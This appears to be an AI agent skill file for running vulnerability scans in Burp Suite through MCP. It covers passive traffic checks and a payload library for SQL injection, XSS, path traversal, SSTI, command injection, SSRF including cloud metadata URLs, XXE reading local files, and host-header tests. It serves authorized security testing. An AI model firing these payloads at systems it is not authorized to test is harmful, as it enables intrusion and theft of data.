six2dez/burp-ai-agent/burp-scan

Burp Scan Skill

Tactical scanning engine for Burp Suite via MCP. Operates Burp's tools programmatically to discover, confirm, and report vulnerabilities.

Prerequisites: Burp Suite running with the AI Agent extension loaded and MCP server enabled.

1. MCP TOOL REFERENCE

Tools organized by scanning action. Tools marked [unsafe] require Unsafe Mode enabled. Tools marked [pro] require Burp Professional.

Discover Scope & Attack Surface

Analyze Traffic

Send Test Payloads

Out-of-Band (OOB) Verification

Encoding & Utility

Report Findings

Control Burp Scanner

2. PASSIVE ANALYSIS PROTOCOL

Analyze proxy traffic WITHOUT sending additional requests. This is the first phase of any scan.

Step 1: Pull Traffic

Use proxy_http_history or proxy_http_history_regex to retrieve in-scope traffic.
Filter: exclude static assets (.css, .js, .png, .jpg, .gif, .svg, .ico, .woff, .woff2, .ttf, .eot, .map).
Focus on: HTML, JSON, XML, text responses.

Step 2: Local Pattern Checks (No AI Needed)

Run these deterministic checks on every request/response pair BEFORE any deeper analysis:

Request Smuggling Indicators:

• Both Content-Length and Transfer-Encoding: chunked present
• Multiple Content-Length headers with different values
• Severity: Medium, Confidence: 90

CSRF Absence:

• State-changing method (POST/PUT/PATCH/DELETE) + cookie-based auth (session/auth/token cookies)
• No CSRF token in parameters or headers, no Origin/Referer header
• No SameSite=Strict/Lax on auth cookies
• Severity: Low, Confidence: 85

Deserialization Surface:

• Parameters or body containing Java serialized data markers: rO0AB or aced0005
• Content-Type: java-serialized or octet-stream with serialized markers
• Severity: Information, Confidence: 90

Unrestricted File Upload:

• Multipart upload with dangerous extension (php, phtml, asp, aspx, jsp, jspx, cgi, py, rb, exe, dll)
• Response 2xx AND response references the uploaded filename
• Severity: Medium, Confidence: 90

Step 3: Extract Context for Deep Analysis

For each request/response pair, extract:

1. URL, Method, Status, MIME type
2. Request headers (focus on: Authorization, Cookie, X-API-Key, Content-Type, Origin, Referer, Host, X-Forwarded-For/Host)
3. Response headers (focus on: Server, X-Powered-By, Set-Cookie, Access-Control-Allow-Origin, Content-Security-Policy, X-Frame-Options)
4. Parameters (name, value, type: URL/BODY/COOKIE/JSON)
5. Potential Object IDs in URL path or parameters (numeric IDs, UUIDs, MongoDB ObjectIds)
6. Auth mechanisms (session cookies vs Bearer token vs API key)
7. Tech stack hints (Server header, X-Powered-By, framework-specific headers)

Step 4: Analysis Checklist

For each request/response pair, check for:

Injection: XSS, SQLi, CMDI, SSTI, SSRF, XXE, NoSQL injection, GraphQL injection Auth/Access Control: IDOR/BOLA, BAC (horizontal/vertical), CSRF, JWT weaknesses Information Disclosure: Secrets in responses, debug endpoints, source code exposure Configuration: CORS misconfiguration, open redirect, missing security headers High-Value: Account takeover paths, cache poisoning, request smuggling, host header injection API: Version bypass, GraphQL introspection enabled

Step 5: Severity Definitions

DO NOT REPORT

• Missing security headers (CSP, X-Frame-Options, HSTS, X-Content-Type-Options) as standalone findings
• "Potential" issues without concrete evidence in the request/response
• Generic parameter reflection without XSS context (value echoed in non-executable context)
• Absence of rate limiting as a standalone vulnerability

Step 6: JS Endpoint Discovery

When you encounter JavaScript files in proxy history, extract API endpoints using these patterns:

fetch("url"), axios.METHOD("url"), $.ajax({url:"..."}), XMLHttpRequest.open("METHOD","url")
"/api/...", "/v1/...", "/v2/...", endpoint="/...", "/segment/segment/..."

Exclude: /css/, /js/, /img/, /static/, /assets/, /fonts/, /media/, /.well-known/ Exclude extensions: .js, .css, .map, .png, .jpg, .svg, .ico, .woff, .pdf, .zip

Test discovered endpoints for access control issues (unauthenticated access, missing authorization).

3. ACTIVE TESTING PAYLOAD LIBRARY

Use payloads via http1_request to confirm passive findings. Always test against in-scope targets only.

SQL Injection

Error-based (Detection: look for DB-specific error strings):

'
"
'--
';--
1'
\

Evidence patterns (95% confidence):

• MySQL: You have an error in your SQL syntax
• PostgreSQL: ERROR: syntax error at or near
• MSSQL: Unclosed quotation mark after the character string
• Oracle: ORA-\d{4}:
• SQLite: SQLITE_ERROR or near "...": syntax error

Blind Boolean (Detection: compare response differences):

1' AND '1'='1    (should return same as original)
1' AND '1'='2    (should return different/empty)
1 AND 1=1        (numeric context - same)
1 AND 1=2        (numeric context - different)

Protocol: Send BOTH true and false conditions. If true matches original and false differs -> confirmed.

Time-based (Detection: measure response delay >= 5 seconds):

1' AND SLEEP(5)--          (MySQL)
1'; WAITFOR DELAY '0:0:5'--  (MSSQL)
1' AND pg_sleep(5)--       (PostgreSQL)

UNION-based [MODERATE risk]:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

XSS Reflected

Unique marker: XSS-BURP-AI-1337 (check for this exact string in response)

<script>alert('XSS-BURP-AI-1337')</script>
<img src=x onerror=alert('XSS-BURP-AI-1337')>
<svg onload=alert('XSS-BURP-AI-1337')>
'"><script>alert('XSS-BURP-AI-1337')</script>
<body onload=alert('XSS-BURP-AI-1337')>
javascript:alert('XSS-BURP-AI-1337')
<ScRiPt>alert('XSS-BURP-AI-1337')</sCrIpT>
</script><script>alert('XSS-BURP-AI-1337')</script>

Confidence: 95% if marker reflected with intact tags. 75% if alert(1) reflected (needs manual check).

LFI / Path Traversal

../../../etc/passwd                    (Linux - look for root:x:0:0)
....//....//....//etc/passwd           (filter bypass)
..%2f..%2f..%2fetc/passwd              (URL encoded)
..%252f..%252f..%252fetc/passwd        (double encoded)
/etc/passwd                            (absolute path)
file:///etc/passwd                     (file protocol)
..\..\..\\windows\\win.ini             (Windows - look for [fonts])
../../../etc/passwd%00                 (null byte)
....//....//....//etc/passwd%00.jpg    (extension bypass)

Evidence: root:x:0:0:root:/root: (95%) or [fonts] header (90%)

SSTI (Server-Side Template Injection)

Unique math markers to avoid false positives:

{{1337*73}}          -> look for 97601 in response
{{31337*3}}          -> look for 94011 in response
{{7*'7'}}            -> look for 7777777 (Jinja2 specific)
${1337*73}           -> look for 97601 (Java EL, Spring)
<%= 1337*73 %>       -> look for 97601 (ERB/Ruby)
#{1337*73}           -> look for 97601 (Thymeleaf)
*{1337*73}           -> look for 97601 (Thymeleaf)
{{config}}           -> config dump (Jinja2)
{{request}}          -> request object leak (Jinja2)
{{''.__class__}}     -> Python class access [MODERATE]

Evidence: Math result 97601, 94011, or 7777777 in response (95% confidence).

Command Injection

; id           -> look for uid=XXX(username) gid=XXX
| id           -> same
|| id          -> same
& id           -> same
&& id          -> same
`id`           -> same (backticks)
$(id)          -> same (command substitution)
| whoami       -> look for username output
; sleep 5      -> 5s delay (blind)
| sleep 5      -> 5s delay (blind)

Evidence: uid=\d+\(\w+\) gid=\d+\(\w+\) in response (95% confidence).

SSRF

http://127.0.0.1
http://localhost
http://[::1]
http://127.0.0.1:22                          (SSH banner)
http://127.0.0.1:3306                        (MySQL)
http://169.254.169.254/latest/meta-data/     (AWS metadata) [MODERATE]
http://metadata.google.internal/computeMetadata/v1/  (GCP metadata) [MODERATE]
file:///etc/passwd
dict://127.0.0.1:11211/stats                 (Memcached)
gopher://127.0.0.1:6379/_INFO                (Redis)

XXE

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>

IDOR / BOLA (Context-Aware)

No static payloads. Generate based on original value:

Numeric IDs: Test ID-1, ID+1, 1 (first/admin), 0 (edge case), -1 (negative) UUIDs: Modify last character (0->1 or vice versa)

Protocol: Compare response for original ID vs manipulated ID. If you get valid data for a different user's ID -> IDOR confirmed.

Host Header Injection

Test marker: evil-burp-ai-test.com

Host: evil-burp-ai-test.com     -> check if reflected in response body or Location header
Host: localhost                  -> check if reflected
Host: 127.0.0.1                 -> check if reflected

OAuth Misconfiguration

Test markers: evil-burp-ai.com